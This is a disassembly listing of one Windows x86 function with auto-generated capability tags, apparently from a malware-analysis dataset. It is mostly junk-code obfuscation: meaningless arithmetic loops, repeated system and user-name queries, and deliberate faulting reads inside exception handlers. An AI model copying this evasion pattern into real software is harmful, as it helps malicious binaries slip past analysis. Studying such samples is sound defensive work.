Function at 0x4f69b0
Capabilities:
Check os version
Get common file path
Get session user name

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x5147a0
push 0x40b390
mov eax, dword fs:[0]
push eax
sub esp, 8
mov eax, 0x3744
call fcn.004149d0
mov eax, dword [0x517138]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x24], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
jmp 0x4f6a09
mov eax, dword [ebp - 0x20]
add eax, 1
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 9
jge 0x4f6a47
cmp dword [ebp - 0x1c], 0
jge 0x4f6a1d
mov ecx, dword [ebp - 0x1c]
neg ecx
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
cdq
mov ecx, 7
idiv ecx
test edx, edx
je 0x4f6a33
mov dword [ebp - 0x1c], 0
push 0xfa
lea edx, [ebp - 0x220]
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
jmp 0x4f6a00
mov dword [ebp - 0x224], 0
jmp 0x4f6a62
mov eax, dword [ebp - 0x224]
add eax, 1
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0
jge 0x4f6aaf
mov eax, dword [ebp - 0x224]
cdq
mov ecx, 5
idiv ecx
cmp edx, 1
je 0x4f6a91
mov eax, dword [ebp - 0x224]
cdq
mov ecx, 5
idiv ecx
cmp edx, 4
jne 0x4f6aa1
nop
nop
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0x224]
mov dword [ebp - 0x1c], edx
jmp 0x4f6aad
mov eax, dword [ebp - 0x1c]
and eax, dword [ebp - 0x224]
mov dword [ebp - 0x1c], eax
jmp 0x4f6a53
mov dword [ebp - 0x228], 0
jmp 0x4f6aca
mov ecx, dword [ebp - 0x228]
add ecx, 1
mov dword [ebp - 0x228], ecx
cmp dword [ebp - 0x228], 0x15
jge 0x4f6ae1
mov edx, dword [ebp - 0x1c]
xor edx, dword [ebp - 0x228]
mov dword [ebp - 0x1c], edx
jmp 0x4f6abb
cmp dword [ebp - 0x1c], 0
jge 0x4f6aef
mov eax, dword [ebp - 0x1c]
neg eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
cdq
mov ecx, 7
idiv ecx
test edx, edx
jne 0x4f6b07
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x22c], 0
jmp 0x4f6b22
mov edx, dword [ebp - 0x22c]
add edx, 1
mov dword [ebp - 0x22c], edx
cmp dword [ebp - 0x22c], 1
jge 0x4f6b6f
mov eax, dword [ebp - 0x22c]
cdq
mov ecx, 5
idiv ecx
cmp edx, 1
je 0x4f6b51
mov eax, dword [ebp - 0x22c]
cdq
mov ecx, 5
idiv ecx
cmp edx, 4
jne 0x4f6b61
nop
nop
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0x22c]
mov dword [ebp - 0x1c], edx
jmp 0x4f6b6d
mov eax, dword [ebp - 0x1c]
and eax, dword [ebp - 0x22c]
mov dword [ebp - 0x1c], eax
jmp 0x4f6b13
mov dword [ebp - 0x230], 0
jmp 0x4f6b8a
mov ecx, dword [ebp - 0x230]
add ecx, 1
mov dword [ebp - 0x230], ecx
cmp dword [ebp - 0x230], 7
jge 0x4f6bcb
cmp dword [ebp - 0x1c], 0
jge 0x4f6ba1
mov edx, dword [ebp - 0x1c]
neg edx
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
cdq
mov ecx, 7
idiv ecx
test edx, edx
je 0x4f6bb7
mov dword [ebp - 0x1c], 0
push 0xfa
lea edx, [ebp - 0x428]
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
jmp 0x4f6b7b
mov dword [ebp - 0x42c], 0
jmp 0x4f6be6
mov eax, dword [ebp - 0x42c]
add eax, 1
mov dword [ebp - 0x42c], eax
cmp dword [ebp - 0x42c], 0x16
jge 0x4f6c33
cmp dword [ebp - 0x1c], 0
jge 0x4f6bfd
mov ecx, dword [ebp - 0x1c]
neg ecx
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
cdq
mov ecx, 7
idiv ecx
test edx, edx
jne 0x4f6c13
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x430], 0xfa
lea edx, [ebp - 0x430]
push edx
lea eax, [ebp - 0x628]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
jmp 0x4f6bd7
mov dword [ebp - 0x62c], 0
jmp 0x4f6c4e
mov ecx, dword [ebp - 0x62c]
add ecx, 1
mov dword [ebp - 0x62c], ecx
cmp dword [ebp - 0x62c], 0x1c
jge 0x4f6c65
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0x62c]
mov dword [ebp - 0x1c], edx
jmp 0x4f6c3f
cmp dword [ebp - 0x1c], 0xffff0001
jge 0x4f6c77
mov eax, dword [ebp - 0x1c]
imul eax, eax, 0xfffffffb
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
cdq
mov ecx, 7
idiv ecx
test edx, edx
je 0x4f6c8f
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x630], 0
jmp 0x4f6caa
mov edx, dword [ebp - 0x630]
add edx, 1
mov dword [ebp - 0x630], edx
cmp dword [ebp - 0x630], 0xe
jge 0x4f6ceb
cmp dword [ebp - 0x1c], 0
jge 0x4f6cc1
mov eax, dword [ebp - 0x1c]
neg eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
cdq
mov ecx, 7
idiv ecx
test edx, edx
je 0x4f6cd7
mov dword [ebp - 0x1c], 0
push 0xfa
lea edx, [ebp - 0x828]
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
jmp 0x4f6c9b
mov dword [ebp - 0x82c], 0
jmp 0x4f6d06
mov eax, dword [ebp - 0x82c]
add eax, 1
mov dword [ebp - 0x82c], eax
cmp dword [ebp - 0x82c], 0x1b
jge 0x4f6d53
mov eax, dword [ebp - 0x82c]
cdq
mov ecx, 5
idiv ecx
cmp edx, 1
je 0x4f6d35
mov eax, dword [ebp - 0x82c]
cdq
mov ecx, 5
idiv ecx
cmp edx, 4
jne 0x4f6d45
nop
nop
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0x82c]
mov dword [ebp - 0x1c], edx
jmp 0x4f6d51
mov eax, dword [ebp - 0x1c]
and eax, dword [ebp - 0x82c]
mov dword [ebp - 0x1c], eax
jmp 0x4f6cf7
mov dword [ebp - 4], 0
mov dword [ebp - 0x830], 0xffffffff
mov dword [ebp - 0x834], 0
jmp 0x4f6d7f
mov ecx, dword [ebp - 0x834]
add ecx, 1
mov dword [ebp - 0x834], ecx
cmp dword [ebp - 0x834], 0xa
jge 0x4f6db1
mov eax, dword [ebp - 0x834]
cdq
mov ecx, 0x25
idiv ecx
test edx, edx
jne 0x4f6da6
mov edx, dword [ebp - 0x830]
movsx eax, byte [edx]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
add ecx, 1
mov dword [ebp - 0x1c], ecx
jmp 0x4f6d70
mov dword [ebp - 4], 0xfffffffe
jmp 0x4f6dd1
mov dword [ebp - 0x838], 0
jmp 0x4f6dec
mov edx, dword [ebp - 0x838]
add edx, 1
mov dword [ebp - 0x838], edx
cmp dword [ebp - 0x838], 4
jge 0x4f6e03
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x838]
mov dword [ebp - 0x1c], eax
jmp 0x4f6ddd
cmp dword [ebp - 0x1c], 0xffff0001
jge 0x4f6e15
mov ecx, dword [ebp - 0x1c]
imul ecx, ecx, 0xfffffffb
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
cdq
mov ecx, 7
idiv ecx
test edx, edx
je 0x4f6e2d
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x83c], 0
jmp 0x4f6e48
mov edx, dword [ebp - 0x83c]
add edx, 1
mov dword [ebp - 0x83c], edx
cmp dword [ebp - 0x83c], 0xd
jge 0x4f6e89
cmp dword [ebp - 0x1c], 0
jge 0x4f6e5f
mov eax, dword [ebp - 0x1c]
neg eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
cdq
mov ecx, 7
idiv ecx
test edx, edx
je 0x4f6e75
mov dword [ebp - 0x1c], 0
push 0xfa
lea edx, [ebp - 0xa38]
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
jmp 0x4f6e39
mov dword [ebp - 0xa3c], 0
jmp 0x4f6ea4
mov eax, dword [ebp - 0xa3c]
add eax, 1
mov dword [ebp - 0xa3c], eax
cmp dword [ebp - 0xa3c], 0xf
jge 0x4f6ef1
mov eax, dword [ebp - 0xa3c]
cdq
mov ecx, 5
idiv ecx
cmp edx, 1
je 0x4f6ed3
mov eax, dword [ebp - 0xa3c]
cdq
mov ecx, 5
idiv ecx
cmp edx, 4
jne 0x4f6ee3
nop
nop
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0xa3c]
mov dword [ebp - 0x1c], edx
jmp 0x4f6eef
mov eax, dword [ebp - 0x1c]
and eax, dword [ebp - 0xa3c]
mov dword [ebp - 0x1c], eax
jmp 0x4f6e95
mov dword [ebp - 0xa40], 0
jmp 0x4f6f0c
mov ecx, dword [ebp - 0xa40]
add ecx, 1
mov dword [ebp - 0xa40], ecx
cmp dword [ebp - 0xa40], 1
jge 0x4f6f59
mov eax, dword [ebp - 0xa40]
cdq
mov ecx, 5
idiv ecx
cmp edx, 1
je 0x4f6f3b
mov eax, dword [ebp - 0xa40]
cdq
mov ecx, 5
idiv ecx
cmp edx, 4
jne 0x4f6f4b
nop
nop
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0xa40]
mov dword [ebp - 0x1c], edx
jmp 0x4f6f57
mov eax, dword [ebp - 0x1c]
and eax, dword [ebp - 0xa40]
mov dword [ebp - 0x1c], eax
jmp 0x4f6efd
mov dword [ebp - 0xa44], 0
jmp 0x4f6f74
mov ecx, dword [ebp - 0xa44]
add ecx, 1
mov dword [ebp - 0xa44], ecx
cmp dword [ebp - 0xa44], 9
jge 0x4f6f8b
mov edx, dword [ebp - 0x1c]
xor edx, dword [ebp - 0xa44]
mov dword [ebp - 0x1c], edx
jmp 0x4f6f65
cmp dword [ebp - 0x1c], 0
jge 0x4f6f99
mov eax, dword [ebp - 0x1c]
neg eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
cdq
mov ecx, 7
idiv ecx
test edx, edx
jne 0x4f6fb1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x1c], eax
mov edx, 1
test edx, edx
je 0x4f6feb
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0xa48], eax
mov eax, dword [ebp - 0xa48]
xor edx, edx
mov ecx, 7
div ecx
test edx, edx
jne 0x4f6fdd
jmp 0x4f6feb
mov edx, dword [ebp - 0x1c]
add edx, dword [ebp - 0xa48]
mov dword [ebp - 0x1c], edx
jmp 0x4f6fb1
mov eax, dword [ebp - 0x1c]
add eax, 5
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0xa4c], 0
jmp 0x4f700f
mov ecx, dword [ebp - 0xa4c]
add ecx, 1
mov dword [ebp - 0xa4c], ecx
cmp dword [ebp - 0xa4c], 8
jge 0x4f7026
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0xa4c]
mov dword [ebp - 0x1c], edx
jmp 0x4f7000
cmp dword [ebp - 0x1c], 0xffff0001
jge 0x4f7038
mov eax, dword [ebp - 0x1c]
imul eax, eax, 0xfffffffb
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
cdq
mov ecx, 7
idiv ecx
test edx, edx
je 0x4f7050
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0xa50], 0
jmp 0x4f706b
mov edx, dword [ebp - 0xa50]
add edx, 1
mov dword [ebp - 0xa50], edx
cmp dword [ebp - 0xa50], 6
jge 0x4f7082
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0xa50]
mov dword [ebp - 0x1c], eax
jmp 0x4f705c
cmp dword [ebp - 0x1c], 0xffff0001
jge 0x4f7094
mov ecx, dword [ebp - 0x1c]
imul ecx, ecx, 0xfffffffb
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
cdq
mov ecx, 7
idiv ecx
test edx, edx
je 0x4f70ac
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0xa54], 0
jmp 0x4f70c7
mov edx, dword [ebp - 0xa54]
add edx, 1
mov dword [ebp - 0xa54], edx
cmp dword [ebp - 0xa54], 8
jge 0x4f7114
mov eax, dword [ebp - 0xa54]
cdq
mov ecx, 5
idiv ecx
cmp edx, 1
je 0x4f70f6
mov eax, dword [ebp - 0xa54]
cdq
mov ecx, 5
idiv ecx
cmp edx, 4
jne 0x4f7106
nop
nop
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0xa54]
mov dword [ebp - 0x1c], edx
jmp 0x4f7112
mov eax, dword [ebp - 0x1c]
and eax, dword [ebp - 0xa54]
mov dword [ebp - 0x1c], eax
jmp 0x4f70b8
mov dword [ebp - 0xa58], 0
jmp 0x4f712f
mov ecx, dword [ebp - 0xa58]
add ecx, 1
mov dword [ebp - 0xa58], ecx
cmp dword [ebp - 0xa58], 4
jge 0x4f7170
cmp dword [ebp - 0x1c], 0
jge 0x4f7146
mov edx, dword [ebp - 0x1c]
neg edx
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
cdq
mov ecx, 7
idiv ecx
test edx, edx
je 0x4f715c
mov dword [ebp - 0x1c], 0
push 0xfa
lea edx, [ebp - 0xc50]
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
jmp 0x4f7120
mov dword [ebp - 0xc54], 0
jmp 0x4f718b
mov eax, dword [ebp - 0xc54]
add eax, 1
mov dword [ebp - 0xc54], eax
cmp dword [ebp - 0xc54], 3
jge 0x4f71d8
mov eax, dword [ebp - 0xc54]
cdq
mov ecx, 5
idiv ecx
cmp edx, 1
je 0x4f71ba
mov eax, dword [ebp - 0xc54]
cdq
mov ecx, 5
idiv ecx
cmp edx, 4
jne 0x4f71ca
nop
nop
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0xc54]
mov dword [ebp - 0x1c], edx
jmp 0x4f71d6
mov eax, dword [ebp - 0x1c]
and eax, dword [ebp - 0xc54]
mov dword [ebp - 0x1c], eax
jmp 0x4f717c
mov dword [ebp - 0xc58], 0
jmp 0x4f71f3
mov ecx, dword [ebp - 0xc58]
add ecx, 1
mov dword [ebp - 0xc58], ecx
cmp dword [ebp - 0xc58], 2
jge 0x4f7234
cmp dword [ebp - 0x1c], 0
jge 0x4f720a
mov edx, dword [ebp - 0x1c]
neg edx
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
cdq
mov ecx, 7
idiv ecx
test edx, edx
je 0x4f7220
mov dword [ebp - 0x1c], 0
push 0xfa
lea edx, [ebp - 0xe50]
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
jmp 0x4f71e4
mov dword [ebp - 0xe54], 0
jmp 0x4f724f
mov eax, dword [ebp - 0xe54]
add eax, 1
mov dword [ebp - 0xe54], eax
cmp dword [ebp - 0xe54], 7
jge 0x4f729c
mov eax, dword [ebp - 0xe54]
cdq
mov ecx, 5
idiv ecx
cmp edx, 1
je 0x4f727e
mov eax, dword [ebp - 0xe54]
cdq
mov ecx, 5
idiv ecx
cmp edx, 4
jne 0x4f728e
nop
nop
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0xe54]
mov dword [ebp - 0x1c], edx
jmp 0x4f729a
mov eax, dword [ebp - 0x1c]
and eax, dword [ebp - 0xe54]
mov dword [ebp - 0x1c], eax
jmp 0x4f7240
mov ecx, 1
test ecx, ecx
je 0x4f72d6
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0xe58], eax
mov eax, dword [ebp - 0xe58]
xor edx, edx
mov ecx, 7
div ecx
test edx, edx
jne 0x4f72c8
jmp 0x4f72d6
mov edx, dword [ebp - 0x1c]
add edx, dword [ebp - 0xe58]
mov dword [ebp - 0x1c], edx
jmp 0x4f729c
mov eax, dword [ebp - 0x1c]
add eax, 6
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0xe5c], 0
jmp 0x4f72fa
mov ecx, dword [ebp - 0xe5c]
add ecx, 1
mov dword [ebp - 0xe5c], ecx
cmp dword [ebp - 0xe5c], 5
jge 0x4f7311
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0xe5c]
mov dword [ebp - 0x1c], edx
jmp 0x4f72eb
cmp dword [ebp - 0x1c], 0xffff0001
jge 0x4f7323
mov eax, dword [ebp - 0x1c]
imul eax, eax, 0xfffffffb
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
cdq
mov ecx, 7
idiv ecx
test edx, edx
je 0x4f733b
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0xe60], 0
jmp 0x4f7356
mov edx, dword [ebp - 0xe60]
add edx, 1
mov dword [ebp - 0xe60], edx
cmp dword [ebp - 0xe60], 0
jge 0x4f7397
cmp dword [ebp - 0x1c], 0
jge 0x4f736d
mov eax, dword [ebp - 0x1c]
neg eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
cdq
mov ecx, 7
idiv ecx
test edx, edx
je 0x4f7383
mov dword [ebp - 0x1c], 0
push 0xfa
lea edx, [ebp - 0x1058]
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
jmp 0x4f7347
mov dword [ebp - 4], 1
mov dword [ebp - 0x105c], 0xffffffff
mov dword [ebp - 0x1060], 0
jmp 0x4f73c3
mov eax, dword [ebp - 0x1060]
add eax, 1
mov dword [ebp - 0x1060], eax
cmp dword [ebp - 0x1060], 1
jge 0x4f73f5
mov eax, dword [ebp - 0x1060]
cdq
mov ecx, 0x25
idiv ecx
test edx, edx
jne 0x4f73ea
mov edx, dword [ebp - 0x105c]
movsx eax, byte [edx]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
add ecx, 1
mov dword [ebp - 0x1c], ecx
jmp 0x4f73b4
mov dword [ebp - 4], 0xfffffffe
jmp 0x4f7415
mov dword [ebp - 0x1064], 0
jmp 0x4f7430
mov edx, dword [ebp - 0x1064]
add edx, 1
mov dword [ebp - 0x1064], edx
cmp dword [ebp - 0x1064], 6
jge 0x4f747d
cmp dword [ebp - 0x1c], 0
jge 0x4f7447
mov eax, dword [ebp - 0x1c]
neg eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
cdq
mov ecx, 7
idiv ecx
test edx, edx
jne 0x4f745d
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x1068], 0xfa
lea edx, [ebp - 0x1068]
push edx
lea eax, [ebp - 0x1260]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
jmp 0x4f7421
mov dword [ebp - 4], 2
mov dword [ebp - 0x1264], 0xffffffff
mov dword [ebp - 0x1268], 0
jmp 0x4f74a9
mov ecx, dword [ebp - 0x1268]
add ecx, 1
mov dword [ebp - 0x1268], ecx
cmp dword [ebp - 0x1268], 0
jge 0x4f74db
mov eax, dword [ebp - 0x1268]
cdq
mov ecx, 0x25
idiv ecx
test edx, edx
jne 0x4f74d0
mov edx, dword [ebp - 0x1264]
movsx eax, byte [edx]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
add ecx, 1
mov dword [ebp - 0x1c], ecx
jmp 0x4f749a
mov dword [ebp - 4], 0xfffffffe
jmp 0x4f74fb
mov dword [ebp - 4], 3
mov dword [ebp - 0x126c], 0xffffffff
mov dword [ebp - 0x1270], 0
jmp 0x4f7527
mov edx, dword [ebp - 0x1270]
add edx, 1
mov dword [ebp - 0x1270], edx
cmp dword [ebp - 0x1270], 1
jge 0x4f7559
mov eax, dword [ebp - 0x1270]
cdq
mov ecx, 0x25
idiv ecx
test edx, edx
jne 0x4f754e
mov edx, dword [ebp - 0x126c]
movsx eax, byte [edx]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
add ecx, 1
mov dword [ebp - 0x1c], ecx
jmp 0x4f7518
mov dword [ebp - 4], 0xfffffffe
jmp 0x4f7579
mov dword [ebp - 0x1274], 0
jmp 0x4f7594
mov edx, dword [ebp - 0x1274]
add edx, 1
mov dword [ebp - 0x1274], edx
cmp dword [ebp - 0x1274], 6
jge 0x4f75d5
cmp dword [ebp - 0x1c], 0
jge 0x4f75ab
mov eax, dword [ebp - 0x1c]
neg eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
cdq
mov ecx, 7
idiv ecx
test edx, edx
je 0x4f75c1
mov dword [ebp - 0x1c], 0
push 0xfa
lea edx, [ebp - 0x1470]
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
jmp 0x4f7585
mov dword [ebp - 0x1474], 0
jmp 0x4f75f0
mov eax, dword [ebp - 0x1474]
add eax, 1
mov dword [ebp - 0x1474], eax
cmp dword [ebp - 0x1474], 4
jge 0x4f7607
mov ecx, dword [ebp - 0x1c]
xor ecx, dword [ebp - 0x1474]
mov dword [ebp - 0x1c], ecx
jmp 0x4f75e1
cmp dword [ebp - 0x1c], 0
jge 0x4f7615
mov edx, dword [ebp - 0x1c]
neg edx
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
cdq
mov ecx, 7
idiv ecx
test edx, edx
jne 0x4f762d
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x1478], 0
jmp 0x4f7648
mov edx, dword [ebp - 0x1478]
add edx, 1
mov dword [ebp - 0x1478], edx
cmp dword [ebp - 0x1478], 0
jge 0x4f765f
mov eax, dword [ebp - 0x1c]
xor eax, dword [ebp - 0x1478]
mov dword [ebp - 0x1c], eax
jmp 0x4f7639
cmp dword [ebp - 0x1c], 0
jge 0x4f766d
mov ecx, dword [ebp - 0x1c]
neg ecx
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
cdq
mov ecx, 7
idiv ecx
test edx, edx
jne 0x4f7685
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x147c], 0
jmp 0x4f76a0
mov edx, dword [ebp - 0x147c]
add edx, 1
mov dword [ebp - 0x147c], edx
cmp dword [ebp - 0x147c], 6
jge 0x4f76b7
mov eax, dword [ebp - 0x1c]
xor eax, dword [ebp - 0x147c]
mov dword [ebp - 0x1c], eax
jmp 0x4f7691
cmp dword [ebp - 0x1c], 0
jge 0x4f76c5
mov ecx, dword [ebp - 0x1c]
neg ecx
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
cdq
mov ecx, 7
idiv ecx
test edx, edx
jne 0x4f76dd
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x1480], 0
jmp 0x4f76f8
mov edx, dword [ebp - 0x1480]
add edx, 1
mov dword [ebp - 0x1480], edx
cmp dword [ebp - 0x1480], 4
jge 0x4f770f
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x1480]
mov dword [ebp - 0x1c], eax
jmp 0x4f76e9
cmp dword [ebp - 0x1c], 0xffff0001
jge 0x4f7721
mov ecx, dword [ebp - 0x1c]
imul ecx, ecx, 0xfffffffb
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
cdq
mov ecx, 7
idiv ecx
test edx, edx
je 0x4f7739
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x1484], 0
jmp 0x4f7754
mov edx, dword [ebp - 0x1484]
add edx, 1
mov dword [ebp - 0x1484], edx
cmp dword [ebp - 0x1484], 8
jge 0x4f776b
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x1484]
mov dword [ebp - 0x1c], eax
jmp 0x4f7745
cmp dword [ebp - 0x1c], 0xffff0001
jge 0x4f777d
mov ecx, dword [ebp - 0x1c]
imul ecx, ecx, 0xfffffffb
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
cdq
mov ecx, 7
idiv ecx
test edx, edx
je 0x4f7795
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x1488], 0
jmp 0x4f77b0
mov edx, dword [ebp - 0x1488]
add edx, 1
mov dword [ebp - 0x1488], edx
cmp dword [ebp - 0x1488], 8
jge 0x4f77fd
mov eax, dword [ebp - 0x1488]
cdq
mov ecx, 5
idiv ecx
cmp edx, 1
je 0x4f77df
mov eax, dword [ebp - 0x1488]
cdq
mov ecx, 5
idiv ecx
cmp edx, 4
jne 0x4f77ef
nop
nop
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0x1488]
mov dword [ebp - 0x1c], edx
jmp 0x4f77fb
mov eax, dword [ebp - 0x1c]
and eax, dword [ebp - 0x1488]
mov dword [ebp - 0x1c], eax
jmp 0x4f77a1
mov ecx, 1
test ecx, ecx
je 0x4f7837
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x148c], eax
mov eax, dword [ebp - 0x148c]
xor edx, edx
mov ecx, 7
div ecx
test edx, edx
jne 0x4f7829
jmp 0x4f7837
mov edx, dword [ebp - 0x1c]
add edx, dword [ebp - 0x148c]
mov dword [ebp - 0x1c], edx
jmp 0x4f77fd
mov eax, dword [ebp - 0x1c]
add eax, 2
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], 4
mov dword [ebp - 0x1490], 0xffffffff
mov dword [ebp - 0x1494], 0
jmp 0x4f786c
mov ecx, dword [ebp - 0x1494]
add ecx, 1
mov dword [ebp - 0x1494], ecx
cmp dword [ebp - 0x1494], 0
jge 0x4f789e
mov eax, dword [ebp - 0x1494]
cdq
mov ecx, 0x25
idiv ecx
test edx, edx
jne 0x4f7893
mov edx, dword [ebp - 0x1490]
movsx eax, byte [edx]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
add ecx, 1
mov dword [ebp - 0x1c], ecx
jmp 0x4f785d
mov dword [ebp - 4], 0xfffffffe
jmp 0x4f78be
mov dword [ebp - 4], 5
mov dword [ebp - 0x1498], 0xffffffff
mov dword [ebp - 0x149c], 0
jmp 0x4f78ea
mov edx, dword [ebp - 0x149c]
add edx, 1
mov dword [ebp - 0x149c], edx
cmp dword [ebp - 0x149c], 6
jge 0x4f791c
mov eax, dword [ebp - 0x149c]
cdq
mov ecx, 0x25
idiv ecx
test edx, edx
jne 0x4f7911
mov edx, dword [ebp - 0x1498]
movsx eax, byte [edx]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
add ecx, 1
mov dword [ebp - 0x1c], ecx
jmp 0x4f78db
mov dword [ebp - 4], 0xfffffffe
jmp 0x4f793c
mov dword [ebp - 0x14a0], 0
jmp 0x4f7957
mov edx, dword [ebp - 0x14a0]
add edx, 1
mov dword [ebp - 0x14a0], edx
cmp dword [ebp - 0x14a0], 7
jge 0x4f796e
mov eax, dword [ebp - 0x1c]
xor eax, dword [ebp - 0x14a0]
mov dword [ebp - 0x1c], eax
jmp 0x4f7948
cmp dword [ebp - 0x1c], 0
jge 0x4f797c
mov ecx, dword [ebp - 0x1c]
neg ecx
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
cdq
mov ecx, 7
idiv ecx
test edx, edx
jne 0x4f7994
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], 6
mov dword [ebp - 0x14a4], 0xffffffff
mov dword [ebp - 0x14a8], 0
jmp 0x4f79c0
mov edx, dword [ebp - 0x14a8]
add edx, 1
mov dword [ebp - 0x14a8], edx
cmp dword [ebp - 0x14a8], 7
jge 0x4f79f2
mov eax, dword [ebp - 0x14a8]
cdq
mov ecx, 0x25
idiv ecx
test edx, edx
jne 0x4f79e7
mov edx, dword [ebp - 0x14a4]
movsx eax, byte [edx]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
add ecx, 1
mov dword [ebp - 0x1c], ecx
jmp 0x4f79b1
mov dword [ebp - 4], 0xfffffffe
jmp 0x4f7a12
mov dword [ebp - 0x14ac], 0
jmp 0x4f7a2d
mov edx, dword [ebp - 0x14ac]
add edx, 1
mov dword [ebp - 0x14ac], edx
cmp dword [ebp - 0x14ac], 3
jge 0x4f7a7a
cmp dword [ebp - 0x1c], 0
jge 0x4f7a44
mov eax, dword [ebp - 0x1c]
neg eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
cdq
mov ecx, 7
idiv ecx
test edx, edx
jne 0x4f7a5a
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x14b0], 0xfa
lea edx, [ebp - 0x14b0]
push edx
lea eax, [ebp - 0x16a8]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
